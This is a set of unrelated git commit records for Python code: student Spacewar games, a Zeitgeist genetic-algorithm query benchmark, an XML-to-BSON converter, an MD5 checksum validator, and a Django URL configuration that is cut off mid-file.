<commit_before>"""
spaceshooter.py
Author: Payton
Credit: Morgan, Avery, Daniel

Assignment:
Write and submit a program that implements the spacewar game:
https://github.com/HHS-IntroProgramming/Spacewar
"""

"""
from ggame import App, RectangleAsset, ImageAsset, Sprite, LineStyle, Color, Frame
from ggame import App, Sprite, ImageAsset, Frame, SoundAsset, Sound, TextAsset, Color
import math
from time import time

class Stars(Sprite):

    asset = ImageAsset("images/starfield.jpg")
    width = 512
    height = 512

    def __init__(self, position):
        super().__init__(Stars.asset, position)

class Sun(Sprite):

    asset = ImageAsset("images/sun.png")
    width = 80
    height = 76
"""

from ggame import App, Sprite, ImageAsset, Frame
from ggame import SoundAsset, Sound, TextAsset, Color
import math
from time import time

SCREEN_WIDTH = 900
SCREEN_HEIGHT = 650

class SpaceShip(Sprite):
    """
    Animated space ship
    """
    asset = ImageAsset("images/four_spaceship_by_albertov_with_thrust.png",
        Frame(227,0,292-227,125), 4, 'vertical')

    def __init__(self, position):
        super().__init__(SpaceShip.asset, position)
        self.vx = 1
        self.vy = 1
        self.vr = 0.01
        self.thrust = 0
        self.thrustframe = 1
        SpaceGame.listenKeyEvent("keydown", "space", self.thrustOn)
        SpaceGame.listenKeyEvent("keyup", "space", self.thrustOff)
        self.fxcenter = self.fycenter = 0.5

    def step(self):
        self.x += self.vx
        self.y += self.vy
        self.rotation += self.vr
        if self.thrust == 1:
            self.setImage(self.thrustframe)
            self.thrustframe += 1
            if self.thrustframe == 4:
                self.thrustframe = 1
        else:
            self.setImage(0)

    def thrustOn(self, event):
        self.thrust = 1

    def thrustOff(self, event):
        self.thrust = 0

class SpaceGame(App):
    """
    Tutorial4 space game example.
    """
    def __init__(self, width, height):
        super().__init__(width, height)
        bg_asset = ImageAsset("images/starfield.jpg")
        bg = Sprite(bg_asset, (0,0))
        bg = Sprite(bg_asset, (0,512))
        bg = Sprite(bg_asset, (512,0))
        bg = Sprite(bg_asset, (512,512))
        sn_asset = ImageAsset("images/sun.png")
        sn = Sprite(sn_asset, (450,325))
        SpaceShip((100,100))
        SpaceShip((150,150))
        SpaceShip((200,50))

    def step(self):
        for ship in self.getSpritesbyClass(SpaceShip):
            ship.step()

myapp = SpaceGame(SCREEN_WIDTH, SCREEN_HEIGHT)
myapp.run()<commit_msg>Updated from Brython Server: 3/22/2016 2:16:10 PM<commit_after>"""
spaceshooter.py
Author: Payton
Credit: Morgan, Avery, Daniel

Assignment:
Write and submit a program that implements the spacewar game:
https://github.com/HHS-IntroProgramming/Spacewar
"""

"""
from ggame import App, RectangleAsset, ImageAsset, Sprite, LineStyle, Color, Frame
from ggame import App, Sprite, ImageAsset, Frame, SoundAsset, Sound, TextAsset, Color
import math
from time import time

class Stars(Sprite):

    asset = ImageAsset("images/starfield.jpg")
    width = 512
    height = 512

    def __init__(self, position):
        super().__init__(Stars.asset, position)

class Sun(Sprite):

    asset = ImageAsset("images/sun.png")
    width = 80
    height = 76
"""

from ggame import App, Sprite, ImageAsset, Frame
from ggame import SoundAsset, Sound, TextAsset, Color
import math
from time import time

SCREEN_WIDTH = 900
SCREEN_HEIGHT = 650

class SpaceShip(Sprite):
    """
    Animated space ship
    """
    asset = ImageAsset("images/four_spaceship_by_albertov_with_thrust.png",
        Frame(227,0,292-227,125), 4, 'vertical')

    def __init__(self, position):
        super().__init__(SpaceShip.asset, position)
        self.vx = 1
        self.vy = 1
        self.vr = 0.01
        self.thrust = 0
        self.thrustframe = 1
        SpaceGame.listenKeyEvent("keydown", "space", self.thrustOn)
        SpaceGame.listenKeyEvent("keyup", "space", self.thrustOff)
        self.fxcenter = self.fycenter = 0.5

    def step(self):
        self.x += self.vx
        self.y += self.vy
        self.rotation += self.vr
        if self.thrust == 1:
            self.setImage(self.thrustframe)
            self.thrustframe += 1
            if self.thrustframe == 4:
                self.thrustframe = 1
        else:
            self.setImage(0)

    def thrustOn(self, event):
        self.thrust = 1

    def thrustOff(self, event):
        self.thrust = 0

class SpaceGame(App):
    """
    Tutorial4 space game example.
    """
    def __init__(self, width, height):
        super().__init__(width, height)
        bg_asset = ImageAsset("images/starfield.jpg")
        bg = Sprite(bg_asset, (0,0))
        bg = Sprite(bg_asset, (0,512))
        bg = Sprite(bg_asset, (512,0))
        bg = Sprite(bg_asset, (512,512))
        sn_asset = ImageAsset("images/sun.png")
        sn = Sprite(sn_asset, (325,450))
        SpaceShip((100,100))
        SpaceShip((150,150))
        SpaceShip((200,50))

    def step(self):
        for ship in self.getSpritesbyClass(SpaceShip):
            ship.step()

myapp = SpaceGame(SCREEN_WIDTH, SCREEN_HEIGHT)
myapp.run()<|endoftext|>


<commit_before>#! /usr/bin/env python
# -.- coding: utf-8 -.-

# Zeitgeist
#
# Copyright © 2011 Collabora Ltd.
#                  By Trever Fischer <trever.fischer@collabora.co.uk>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation, either version 2.1 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

from pyevolve import G1DList
from pyevolve import GSimpleGA
from zeitgeist.datamodel import TimeRange, StorageState, ResultType
from zeitgeist.datamodel import Event, Subject, Interpretation, Manifestation
import benchmark as engine
import time

# Chromosome to data mapping:
# 0, 1 - Timerange begin and end. If both are zero, we use timerange.always()
# 2 - The search type. Anything over 30 is a dead individual.
# 3-5 - Specify template properties. Anything besides 0 and 1 is dead.
# 3 - Specify a subject interpretation
# 4 - Specify a subject manifestation
# 5 - Specify an event actor
def buildQuery(chromosome):
  storage = StorageState.Any
  numResults = 10
  if chromosome[0] == 0 or chromosome[1] == 0:
    timerange = TimeRange.always()
  else:
    timerange = (chromosome[0]*60*60*24, chromosome[1]*60*60*24)
  searchType = chromosome[2]%30

  eventTemplate = {}
  subjectTemplate = {}

  if chromosome[3]%2 == 1:
    subjectTemplate['interpretation'] = Interpretation.VIDEO
  if chromosome[4]%2 == 1:
    subjectTemplate['manifestation'] = Manifestation.FILE_DATA_OBJECT
  if chromosome[5]%2 == 1:
    eventTemplate['actor'] = "application://google-chrome.desktop"

  templates = [Event.new_for_values(subjects=[Subject.new_for_values(**subjectTemplate)], **eventTemplate)]

  return (timerange, templates, storage, numResults, searchType)

def eval_func(chromosome):
  query = buildQuery(chromosome)
  if query is None:
    return 0

  start = time.time()
  results = engine.find_events(*query)
  overall = (time.time() - start)
  return (results["find_events"]*2+results["find_event_ids"]*4+results["get_events"])*1000

genome = G1DList.G1DList(6)
genome.evaluator.set(eval_func)
ga = GSimpleGA.GSimpleGA(genome)
ga.evolve(freq_stats = 1)
query = buildQuery(ga.bestIndividual())
assert query is not None
print query, len(engine.find_events(*query))
<commit_msg>Use random manifestations and interpretations<commit_after>#! /usr/bin/env python
# -.- coding: utf-8 -.-

# Zeitgeist
#
# Copyright © 2011 Collabora Ltd.
#                  By Trever Fischer <trever.fischer@collabora.co.uk>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation, either version 2.1 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
import random
from pyevolve import G1DList
from pyevolve import GSimpleGA
from zeitgeist.datamodel import TimeRange, StorageState, ResultType
from zeitgeist.datamodel import Event, Subject, Interpretation, Manifestation
import benchmark as engine
import time

# Chromosome to data mapping:
# 0, 1 - Timerange begin and end. If both are zero, we use timerange.always()
# 2 - The search type. Anything over 30 is a dead individual.
# 3-5 - Specify template properties. Even is yes, odd is no
# 3 - Specify a subject interpretation
# 4 - Specify a subject manifestation
# 5 - Specify an event actor
def buildQuery(chromosome):
  storage = StorageState.Any
  numResults = 10
  if chromosome[0] == 0 or chromosome[1] == 0:
    timerange = TimeRange.always()
  else:
    timerange = (chromosome[0]*60*60*24, chromosome[1]*60*60*24)
    if timerange[0] > timerange[1]:
       timerange = (timerange[1], timerange[0])
  searchType = chromosome[2]%30

  eventTemplate = {}
  subjectTemplate = {}

  if chromosome[3]%2 == 0:
    subjectTemplate['interpretation'] = random.choice(list(Interpretation.EVENT_INTERPRETATION.get_children()))
  if chromosome[4]%2 == 0:
    subjectTemplate['manifestation'] = random.choice(list(Manifestation.EVENT_MANIFESTATION.get_children()))
  if chromosome[5]%2 == 0:
    eventTemplate['actor'] = "application://google-chrome.desktop"
  if chromosome[6]%2 == 0:
    subjectTemplate['origin'] = "http://google.com"
  if chromosome[7]%2 == 0:
    subjectTemplate['uri'] = "http://google.com"
  if chromosome[8]%2 == 0:
    subjectTemplate['mimetype'] = "text/html"
  if chromosome[9]%2 == 0:
    subjectTemplate['text'] = "fish"
  if chromosome[10]%2 == 0:
    eventTemplate['manifestation'] = random.choice(list(Manifestation.EVENT_MANIFESTATION.get_children()))
  if chromosome[11]%2 == 0:
    eventTemplate['interpretation'] = random.choice(list(Interpretation.EVENT_INTERPRETATION.get_children()))
  templates = [Event.new_for_values(subjects=[Subject.new_for_values(**subjectTemplate)], **eventTemplate)]

  return (timerange, templates, storage, numResults, searchType)

def eval_func(chromosome):
  query = buildQuery(chromosome)
  if query is None:
    return 0

  start = time.time()
  results = engine.find_events(*query)
  overall = (time.time() - start)
  return (results["find_events"]*2+results["find_event_ids"]*4+results["get_events"])*1000

genome = G1DList.G1DList(12)
genome.evaluator.set(eval_func)
ga = GSimpleGA.GSimpleGA(genome)
ga.evolve(freq_stats = 1)
query = buildQuery(ga.bestIndividual())
print ga.bestIndividual()
print query
print "Result count: %d"%(len(engine.find_events(*query)))
<|endoftext|>


<commit_before>import sys

from bson import BSON
from son import SON

def main():
    xml_file = sys.argv[1]
    out_file = sys.argv[2]

    f = open(xml_file, "r")
    xml = f.read()
    f.close()

    f = open(out_file, "w")
    f.write(BSON.from_dict(SON.from_xml(xml)))
    f.close()

if __name__ == "__main__":
    main()
<commit_msg>validate both directions<commit_after>import sys

from bson import BSON
from son import SON

def main():
    xml_file = sys.argv[1]
    out_file = sys.argv[2]

    f = open(xml_file, "r")
    xml = f.read()
    f.close()

    f = open(out_file, "w")
    doc = SON.from_xml(xml)
    bson = BSON.from_dict(doc)
    f.write(bson)
    f.close()

    assert doc == bson.to_dict()

if __name__ == "__main__":
    main()
<|endoftext|>


<commit_before>"""
spaceshooter.py
Author: Bauti Gallino
Credit: Liam S.

Assignment:
Write and submit a program that implements the spacewar game:
https://github.com/HHS-IntroProgramming/Spacewar
"""
from ggame import App, Sprite, ImageAsset, Frame
from ggame import SoundAsset, Sound, TextAsset, Color
import math
from time import time

SCREEN_WIDTH = 512
SCREEN_HEIGHT = 512

class Background(Sprite):
    asset = ImageAsset("images/starfield.jpg")
    height= 512
    width= 512

    def __init__(self, position):
        super().__init__(Background.asset, position)

class Spaceship(Sprite):

    asset = ImageAsset("images/four_spaceship_by_albertov_with_thrust.png",
        Frame(227,0,292-227,125), 4, 'vertical')

    def __init__(self, position):
        super().__init__(Spaceship.asset, position)
        self.Engineframe=1
        self.Thrust=0
        self.Velocityspaceshipright=0
        self.Velocityspaceshipleft=0
        self.Velocityspaceshipdown=0
        self.Velocityspaceshipup=0
        self.Spin=0
        self.Spinning=0
        SpaceGame.listenKeyEvent("keydown", "space", self.Engineon)
        SpaceGame.listenKeyEvent("keyup", "space", self.Engineoff)
        SpaceGame.listenKeyEvent("keydown", "right arrow", self.Velocityright)
        SpaceGame.listenKeyEvent("keyup", "right arrow", self.Velocityrightstop)
        SpaceGame.listenKeyEvent("keydown", "left arrow", self.Velocityleft)
        SpaceGame.listenKeyEvent("keyup", "left arrow", self.Velocityleftstop)
        SpaceGame.listenKeyEvent("keydown", "down arrow", self.Velocitydown)
        SpaceGame.listenKeyEvent("keyup", "down arrow", self.Velocitydownstop)
        SpaceGame.listenKeyEvent("keydown", "up arrow", self.Velocityup)
        SpaceGame.listenKeyEvent("keyup", "up arrow", self.Velocityupstop)
        SpaceGame.listenKeyEvent("keydown", "o", self.Rotateclock)
        SpaceGame.listenKeyEvent("keyup", "o", self.Rotateclockstop)
        SpaceGame.listenKeyEvent("keydown", "p", self.Rotatecounterclock)
        SpaceGame.listenKeyEvent("keyup", "p", self.Rotatecounterclockstop)

        self.fxcenter=self.fycenter=.5
    def step(self):
        if self.Spin==1:
            self.Spinning=.1
        if self.Spin==-1:
            self.Spinning=-.1
        if self.Spin==0:
            self.Spinning=0
        self.rotation+=self.Spinning
        if self.Velocityspaceshipup==1:
            self.y=self.y+2
        else:
            self.y=self.y
        if self.Velocityspaceshipdown==1:
            self.y=self.y-2
        else:
            self.y=self.y
        if self.Velocityspaceshipright==1:
            self.x=self.x+2
        else:
            self.x=self.x
        if self.Velocityspaceshipleft==1:
            self.x=self.x-2
        else:
            self.x=self.x
        if self.Thrust == 1:
            self.setImage(self.Engineframe)
            self.Engineframe = self.Engineframe + 1
            if self.Engineframe == 4:
                self.Engineframe = 1
        else:
            self.setImage(0)
    def Engineon(self, event):
        self.Thrust=1
    def Engineoff(self, event):
        self.Thrust=0
        self.Engineframe=1
    def Velocityright(self, event):
        self.Velocityspaceshipright=1
    def Velocityrightstop(self, event):
        self.Velocityspaceshipright=0
    def Velocityleft(self, event):
        self.Velocityspaceshipleft=1
    def Velocityleftstop(self, event):
        self.Velocityspaceshipleft=0
    def Velocitydown(self, event):
        self.Velocityspaceshipup=1
    def Velocitydownstop(self, event):
        self.Velocityspaceshipup=0
    def Velocityup(self, event):
        self.Velocityspaceshipdown=1
    def Velocityupstop(self, event):
        self.Velocityspaceshipdown=0
    def Rotateclock(self, event):
        self.Spin=1
    def Rotateclockstop(self, event):
        self.Spin=0
    def Rotatecounterclock(self, event):
        self.Spin=-1
    def Rotatecounterclockstop(self, event):
        self.Spin=0
class SpaceGame(App):
    def __init__(self, width, height):
        super().__init__(width, height)
        for x in range(self.width//Background.width + 1):
            for y in range(self.height//Background.height + 1):
                Background((x*Background.width, y*Background.height))
        Background((0, 0))
        Spaceship((0, 0))
    def step(self):
        for ship in self.getSpritesbyClass(Spaceship):
            ship.step()

app = SpaceGame(1897, 935)
app.run()<commit_msg>Updated from Brython Server: 11/16/2016 1:16:39 PM<commit_after>"""
spaceshooter.py
Author: Bauti Gallino
Credit: Liam S.

Assignment:
Write and submit a program that implements the spacewar game:
https://github.com/HHS-IntroProgramming/Spacewar
"""
from ggame import App, Sprite, ImageAsset, Frame
from ggame import SoundAsset, Sound, TextAsset, Color
import math
from time import time

SCREEN_WIDTH = 512
SCREEN_HEIGHT = 512

class Background(Sprite):
    asset = ImageAsset("images/starfield.jpg")
    height= 512
    width= 512

    def __init__(self, position):
        super().__init__(Background.asset, position)

class Spaceship(Sprite):

    asset = ImageAsset("images/four_spaceship_by_albertov_with_thrust.png",
        Frame(227,0,292-227,125), 4, 'vertical')

    def __init__(self, position):
        super().__init__(Spaceship.asset, position)
        self.Engineframe=1
        self.Thrust=0
        self.Velocityspaceshipright=0
        self.Velocityspaceshipleft=0
        self.Velocityspaceshipdown=0
        self.Velocityspaceshipup=0
        self.Spin=0
        self.Spinning=0
        SpaceGame.listenKeyEvent("keydown", "space", self.Engineon)
        SpaceGame.listenKeyEvent("keyup", "space", self.Engineoff)
        SpaceGame.listenKeyEvent("keydown", "right arrow", self.Velocityright)
        SpaceGame.listenKeyEvent("keyup", "right arrow", self.Velocityrightstop)
        SpaceGame.listenKeyEvent("keydown", "left arrow", self.Velocityleft)
        SpaceGame.listenKeyEvent("keyup", "left arrow", self.Velocityleftstop)
        SpaceGame.listenKeyEvent("keydown", "down arrow", self.Velocitydown)
        SpaceGame.listenKeyEvent("keyup", "down arrow", self.Velocitydownstop)
        SpaceGame.listenKeyEvent("keydown", "up arrow", self.Velocityup)
        SpaceGame.listenKeyEvent("keyup", "up arrow", self.Velocityupstop)
        SpaceGame.listenKeyEvent("keydown", "o", self.Rotateclock)
        SpaceGame.listenKeyEvent("keyup", "o", self.Rotateclockstop)
        SpaceGame.listenKeyEvent("keydown", "p", self.Rotatecounterclock)
        SpaceGame.listenKeyEvent("keyup", "p", self.Rotatecounterclockstop)

        self.fxcenter=self.fycenter=.5
    def step(self):
        if self.Spin==1:
            self.Spinning=.1
        if self.Spin==-1:
            self.Spinning=-.1
        if self.Spin==0:
            self.Spinning=0
        self.rotation+=self.Spinning
        if self.Velocityspaceshipup==1:
            self.y=self.y+2
        else:
            self.y=self.y
        if self.Velocityspaceshipdown==1:
            self.y=self.y-2
        else:
            self.y=self.y
        if self.Velocityspaceshipright==1:
            self.x=self.x+2
        else:
            self.x=self.x
        if self.Velocityspaceshipleft==1:
            self.x=self.x-2
        else:
            self.x=self.x
        if self.Thrust == 1:
            self.setImage(self.Engineframe)
            self.Engineframe = self.Engineframe + 1
            if self.Engineframe == 4:
                self.Engineframe = 1
        else:
            self.setImage(0)
    def Engineon(self, event):
        self.Thrust=1
    def Engineoff(self, event):
        self.Thrust=0
        self.Engineframe=1
    def Velocityright(self, event):
        self.Velocityspaceshipright=1
    def Velocityrightstop(self, event):
        self.Velocityspaceshipright=0
    def Velocityleft(self, event):
        self.Velocityspaceshipleft=1
    def Velocityleftstop(self, event):
        self.Velocityspaceshipleft=0
    def Velocitydown(self, event):
        self.Velocityspaceshipup=1
    def Velocitydownstop(self, event):
        self.Velocityspaceshipup=0
    def Velocityup(self, event):
        self.Velocityspaceshipdown=1
    def Velocityupstop(self, event):
        self.Velocityspaceshipdown=0
    def Rotateclock(self, event):
        self.Spin=1
    def Rotateclockstop(self, event):
        self.Spin=0
    def Rotatecounterclock(self, event):
        self.Spin=-1
    def Rotatecounterclockstop(self, event):
        self.Spin=0
class Star(Sprite):

class SpaceGame(App):
    def __init__(self, width, height):
        super().__init__(width, height)
        for x in range(self.width//Background.width + 1):
            for y in range(self.height//Background.height + 1):
                Background((x*Background.width, y*Background.height))
        Background((0, 0))
        Spaceship((100, 100))
    def step(self):
        for ship in self.getSpritesbyClass(Spaceship):
            ship.step()

app = SpaceGame(1897, 935)
app.run()<|endoftext|>


<commit_before>#!/usr/bin/env python
import sys
import hashlib
import os
import logging
import argparse
import time
import getpass
from ififuncs import make_desktop_logs_dir

def hashlib_md5(filename):
   m = hashlib.md5()
   with open(str(filename), 'rb') as f:
       while True:
           buf = f.read(2**20)
           if not buf:
               break
           m.update(buf)
   md5_output = m.hexdigest()
   return md5_output

def get_input(manifest):
    if not manifest.endswith(('.txt', '.md5', '.exf' )):
        print 'Usage: validate.py manifest \nManifests can be a .txt or a .md5 or an ExactFile .exf file.'
        sys.exit()
    elif manifest.endswith('.exf'):
        print 'ExactFile manifests have 5 lines of extra info which will confuse validate.py until I get around to fixing this.  It will list some missing files but will validate checksums as usual.'
        return manifest
    else:
        return manifest

def parse_manifest(manifest):
    missing_files = 0
    manifest_dict = {}
    os.chdir(os.path.dirname(manifest))
    with open(manifest, 'rb') as manifest_object:
        manifest_list = manifest_object.readlines()
        for entries in manifest_list:
            checksum = entries.split(' ')[0]
            path = entries[34:].rstrip()
            path = path.replace('\\', '/')
            if not os.path.isfile(path):
                logging.info('%s is missing' % path )
                print '%s is missing' % path
                missing_files += 1
            elif os.path.isfile(path):
                logging.debug('%s %s' % (checksum, path))
                manifest_dict[path] = checksum
                logging.debug(manifest_dict)
    if missing_files > 0:
        print 'The number of missing files: %s' % missing_files
        logging.info('The number of missing files is: %s' %  missing_files)
    elif missing_files == 0:
        print 'All files present'
        logging.info('All files present')
    return manifest_dict, missing_files

def validate(manifest_dict, manifest,missing_files):
    logging.basicConfig(filename='myapp.log', level=logging.INFO)
    logging.info('Validating %s ' % manifest)
    error_counter = 0
    logging.info('Started at %s using the following workstation: %s' % (time.strftime("%Y-%m-%dT%H:%M:%S "), getpass.getuser()))
    manifest_directory = os.path.dirname(manifest)
    os.chdir(manifest_directory)
    error_list = []

    for i in sorted(manifest_dict.keys()):
        print 'Validating %s' % i
        current_hash = hashlib_md5(i)
        if current_hash == manifest_dict[i]:
            print '%s has validated' % i
        else:
            print '%s has mismatched checksum - %s expected - %s hashed' % (i, manifest_dict[i], current_hash)
            logging.info('%s has mismatched checksum - %s expected - %s hashed' % (i, manifest_dict[i], current_hash))
            error_list.append('%s has mismatched checksum - %s expected - %s hashed' % (i, manifest_dict[i], current_hash))
            error_counter += 1
    if error_counter > 0:
        print '\n\n*****ERRORS***********!!!!\n***********\nThe number of mismatched checksums is: %s\n***********\n' % error_counter
        logging.info('The number of mismatched checksums is: %s' %  error_counter)
        print '***** List of mismatched files*****'
        for i in error_list:
            print i
    elif error_counter == 0:
        if missing_files > 0:
            print '\n*****ERRORS!!!!***********\nThe number of missing files: %s\n***********\n' % missing_files
            logging.info('\n***********ERRORS!!!!*****\nThe number of mismatched checksums is: %s\n***********\n' %  missing_files)
        elif missing_files == 0:
            print 'All checksums have validated'
            logging.info('All checksums have validated')

def make_parser():
    parser = argparse.ArgumentParser(description='MD5 checksum manifest validator. Currently this script expects an md5 checksum, followed by two spaces, followed by a file path.'
                                 ' Written by Kieran O\'Leary.')
    parser.add_argument('input', help='file path of md5 checksum file')
    return parser

def check_manifest(input):
    manifest = get_input(input)
    manifest_dict, missing_files = parse_manifest(manifest)
    validate(manifest_dict, manifest, missing_files)
def main():
    parser = make_parser()
    args = parser.parse_args()
    desktop_logs_dir = make_desktop_logs_dir()
    log_name_source_ = os.path.basename(args.input) + time.strftime("_%Y_%m_%dT%H_%M_%S")
    log = "%s/%s_fixity_validation.log" % (desktop_logs_dir, log_name_source_)
    root = logging.getLogger()
    logging.basicConfig(filename=log, filemode='a',level=logging.INFO)
    #root.setLevel(logging.DEBUG)
    check_manifest(args.input)
if __name__ == '__main__':
   main()<commit_msg>validate.py - adds @ecodonohoe progress meter<commit_after>#!/usr/bin/env python
import sys
import hashlib
import os
import logging
import argparse
import time
import getpass
from ififuncs import make_desktop_logs_dir

def hashlib_md5(filename):
   read_size = 0
   last_percent_done = 0
   m = hashlib.md5()
   total_size = os.path.getsize(filename)
   with open(str(filename), 'rb') as f:
       while True:
           buf = f.read(2**20)
           if not buf:
               break
           read_size += len(buf)
           m.update(buf)
           percent_done = 100 * read_size / total_size
           if percent_done > last_percent_done:
               sys.stdout.write('[%d%%]\r' % percent_done)
               sys.stdout.flush()

               last_percent_done = percent_done
   md5_output = m.hexdigest()
   return md5_output

def get_input(manifest):
    if not manifest.endswith(('.txt', '.md5', '.exf' )):
        print 'Usage: validate.py manifest \nManifests can be a .txt or a .md5 or an ExactFile .exf file.'
        sys.exit()
    elif manifest.endswith('.exf'):
        print 'ExactFile manifests have 5 lines of extra info which will confuse validate.py until I get around to fixing this.  It will list some missing files but will validate checksums as usual.'
        return manifest
    else:
        return manifest

def parse_manifest(manifest):
    missing_files = 0
    manifest_dict = {}
    os.chdir(os.path.dirname(manifest))
    with open(manifest, 'rb') as manifest_object:
        manifest_list = manifest_object.readlines()
        for entries in manifest_list:
            checksum = entries.split(' ')[0]
            path = entries[34:].rstrip()
            path = path.replace('\\', '/')
            if not os.path.isfile(path):
                logging.info('%s is missing' % path )
                print '%s is missing' % path
                missing_files += 1
            elif os.path.isfile(path):
                logging.debug('%s %s' % (checksum, path))
                manifest_dict[path] = checksum
                logging.debug(manifest_dict)
    if missing_files > 0:
        print 'The number of missing files: %s' % missing_files
        logging.info('The number of missing files is: %s' %  missing_files)
    elif missing_files == 0:
        print 'All files present'
        logging.info('All files present')
    return manifest_dict, missing_files

def validate(manifest_dict, manifest,missing_files):
    logging.basicConfig(filename='myapp.log', level=logging.INFO)
    logging.info('Validating %s ' % manifest)
    error_counter = 0
    logging.info('Started at %s using the following workstation: %s' % (time.strftime("%Y-%m-%dT%H:%M:%S "), getpass.getuser()))
    manifest_directory = os.path.dirname(manifest)
    os.chdir(manifest_directory)
    error_list = []

    for i in sorted(manifest_dict.keys()):
        print 'Validating %s' % i
        current_hash = hashlib_md5(i)
        if current_hash == manifest_dict[i]:
            print '%s has validated' % i
        else:
            print '%s has mismatched checksum - %s expected - %s hashed' % (i, manifest_dict[i], current_hash)
            logging.info('%s has mismatched checksum - %s expected - %s hashed' % (i, manifest_dict[i], current_hash))
            error_list.append('%s has mismatched checksum - %s expected - %s hashed' % (i, manifest_dict[i], current_hash))
            error_counter += 1
    if error_counter > 0:
        print '\n\n*****ERRORS***********!!!!\n***********\nThe number of mismatched checksums is: %s\n***********\n' % error_counter
        logging.info('The number of mismatched checksums is: %s' %  error_counter)
        print '***** List of mismatched files*****'
        for i in error_list:
            print i
    elif error_counter == 0:
        if missing_files > 0:
            print '\n*****ERRORS!!!!***********\nThe number of missing files: %s\n***********\n' % missing_files
            logging.info('\n***********ERRORS!!!!*****\nThe number of mismatched checksums is: %s\n***********\n' %  missing_files)
        elif missing_files == 0:
            print 'All checksums have validated'
            logging.info('All checksums have validated')

def make_parser():
    parser = argparse.ArgumentParser(description='MD5 checksum manifest validator. Currently this script expects an md5 checksum, followed by two spaces, followed by a file path.'
                                 ' Written by Kieran O\'Leary.')
    parser.add_argument('input', help='file path of md5 checksum file')
    return parser

def check_manifest(input):
    manifest = get_input(input)
    manifest_dict, missing_files = parse_manifest(manifest)
    validate(manifest_dict, manifest, missing_files)
def main():
    parser = make_parser()
    args = parser.parse_args()
    desktop_logs_dir = make_desktop_logs_dir()
    log_name_source_ = os.path.basename(args.input) + time.strftime("_%Y_%m_%dT%H_%M_%S")
    log = "%s/%s_fixity_validation.log" % (desktop_logs_dir, log_name_source_)
    root = logging.getLogger()
    logging.basicConfig(filename=log, filemode='a',level=logging.INFO)
    #root.setLevel(logging.DEBUG)
    check_manifest(args.input)
if __name__ == '__main__':
   main()<|endoftext|>


<commit_before>from django.conf.urls.defaults import patterns, include
from django.contrib import admin
from django.views.generic.simple import direct_to_template

from metashare.repository.editor import admin_site as editor_site
from metashare.repository.sitemap import RepositorySitemap
from metashare.settings import MEDIA_ROOT, DEBUG, DJANGO_BASE, SITEMAP_URL

admin.autodiscover()

urlpatterns = patterns('',
  (r'^{0}$'.format(DJANGO_BASE),
    'metashare.views.frontpage'),
  (r'^{0}info/$'.format(DJANGO_BASE),
     direct_to_template, {'template': 'metashare-info.html'}),
  (r'^{0}login/$'.format(DJANGO_BASE),
    'metashare.views.login', {'template_name': 'login.html'}),
  (r'^{0}logout/$'.format(DJANGO_BASE),
    'metashare.views.logout', {'next_page': '/{0}'.format(DJANGO_BASE)}),
  (r'^{0}admin/'.format(DJANGO_BASE),
    include(admin.site.urls)),
  (r'^{0}editor/'.format(DJANGO_BASE),
    include(editor_site.urls)),
)

urlpatterns += patterns('metashare.accounts.views',
  (r'^{0}accounts/'.format(DJANGO_BASE), include('metashare.accounts.urls')),
)

urlpatterns += patterns('metashare.storage.views',
  (r'^{0}storage/'.format(DJANGO_BASE), include('metashare.storage.urls')),
)

urlpatterns += patterns('metashare.stats.views',
  (r'^{0}stats/'.format(DJANGO_BASE), include('metashare.stats.urls')),
)

urlpatterns += patterns('metashare.repository.views',
  (r'^{0}repository/'.format(DJANGO_BASE), include('metashare.repository.urls')),
)

urlpatterns += patterns('metashare.sync.views',
  (r'^{0}sync/'.format(DJANGO_BASE), include('metashare.sync.urls')),
)

urlpatterns += patterns('',
  (r'^{0}selectable/'.format(DJANGO_BASE), include('selectable.urls')),
)

sitemaps = {
  'site': RepositorySitemap,
}

urlpatterns += patterns('',
  (r'^{}sitemap\.xml$'.format(DJANGO_BASE), 'django.contrib.sitemaps.views.sitemap', {'sitemaps': sitemaps}),
)

if DJANGO_BASE == "":
    urlpatterns += patterns('',
      (r'^{}robots\.txt$'.format(DJANGO_BASE), direct_to_template,
        {'template': 'robots.txt', 'mimetype': 'text/plain', 'extra_context' : { 'sitemap_url' : SITEMAP_URL }}),
    )

if DEBUG:
    urlpatterns += patterns('',
      (r'^{0}site_media/(?P<path>.*)$'.format(DJANGO_BASE),
        'django.views.static.serve', {'document_root': MEDIA_ROOT})
    )
<commit_msg>amendment to 41bb591f219202b286ee3d576640821394b41159: delete storage URLs<commit_after>from django.conf.urls.defaults import patterns, include
from django.contrib import admin
from django.views.generic.simple import direct_to_template

from metashare.repository.editor import admin_site as editor_site
from metashare.repository.sitemap import RepositorySitemap
from metashare.settings import MEDIA_ROOT, DEBUG, DJANGO_BASE, SITEMAP_URL

admin.autodiscover()

urlpatterns = patterns('',
  (r'^{0}$'.format(DJANGO_BASE),
    'metashare.views.frontpage'),
  (r'^{0}info/$'.format(DJANGO_BASE),
     direct_to_template, {'template': 'metashare-info.html'}),
  (r'^{0}login/$'.format(DJANGO_BASE),
    'metashare.views.login', {'template_name': 'login.html'}),
  (r'^{0}logout/$'.format(DJANGO_BASE),
    'metashare.views.logout', {'next_page': '/{0}'.format(DJANGO_BASE)}),
  (r'^{0}admin/'.format(DJANGO_BASE),
    include(admin.site.urls)),
  (r'^{0}editor/'.format(DJANGO_BASE),
    include(editor_site.urls)),
)

urlpatterns += patterns('metashare.accounts.views',
  (r'^{0}accounts/'.format(DJANGO_BASE), include('metashare.accounts.urls')),
)

urlpatterns += patterns('metashare.stats.views',
  (r'^{0}stats/'.format(DJANGO_BASE), include('metashare.stats.urls')),
)

urlpatterns += patterns('metashare.repository.views',
  (r'^{0}repository/'.format(DJANGO_BASE), include('metashare.repository.urls')),
)

urlpatterns += patterns('metashare.sync.views',
